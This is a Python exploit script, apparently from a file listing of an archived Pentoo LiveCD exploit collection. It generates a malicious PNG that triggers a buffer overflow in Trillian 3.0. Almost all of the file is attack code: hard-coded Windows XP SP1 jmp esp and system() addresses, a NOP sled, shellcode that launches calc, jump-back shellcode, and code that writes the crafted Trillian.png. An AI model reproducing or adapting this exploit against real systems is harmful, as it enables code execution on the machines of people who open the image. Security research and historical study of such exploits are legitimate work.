home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / trillian / trillian.py < prev    next >
Text File  |  2005-03-04  |  3KB  |  68 lines

  1. #########################################
  2. #                                                                                        #
  3. #                      See-security Technologies ltd.                       #
  4. #                                                                                        #
  5. #                      http://www.see-security.com                         #
  6. #                                                                                        #
  7. #########################################
  8. #                                                                                        #
  9. #   Trillian 3.0 PNG Image Processing Buffer overflow Exploit   #
  10. #                                                                                        #
  11. #                                                                                        #
  12. #                Discovered and coded by: Tal zeltzer                   #
  13. #                                                                                        #
  14. #########################################
  15.  
  16. import sys
  17. import struct
  18.  
  19. # Addresses are compatible with Windows XP Service Pack 1
  20. ReturnAddress = 0x77D7A145 # Address of "jmp esp" in ntdll.dll 
  21. SystemAddress = 0x77C28044 # Address Of the system() function
  22.  
  23. # PNG Header
  24. PngOfDeath = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
  25. PngOfDeath += "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
  26. PngOfDeath += "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53"
  27.  
  28. # Nops
  29. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  30. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  31. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  32.  
  33. # system(calc) shellcode
  34. PngOfDeath += "\x33\xC0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9"
  35. PngOfDeath += struct.pack("<L",SystemAddress)
  36. PngOfDeath += "\xFF\xD1"
  37.  
  38. # Junk Data
  39. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  40. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  41. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  42. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  43. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  44. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  45. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  46. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  47. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  48. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  49. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  50. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  51. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  52. PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  53.  
  54. # Return Address
  55. PngOfDeath += struct.pack("<L",ReturnAddress)
  56.  
  57. # Jump Back Shellcode
  58. PngOfDeath += "\x54\x59\xFE\xCD\x89\xE5\xFF\xE1"
  59.  
  60. # End Of File
  61. PngOfDeath += "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF"
  62.  
  63. fileOut = open("Trillian.png","wb")
  64. fileOut.write(PngOfDeath)
  65. fileOut.close()
  66.  
  67.  
  68.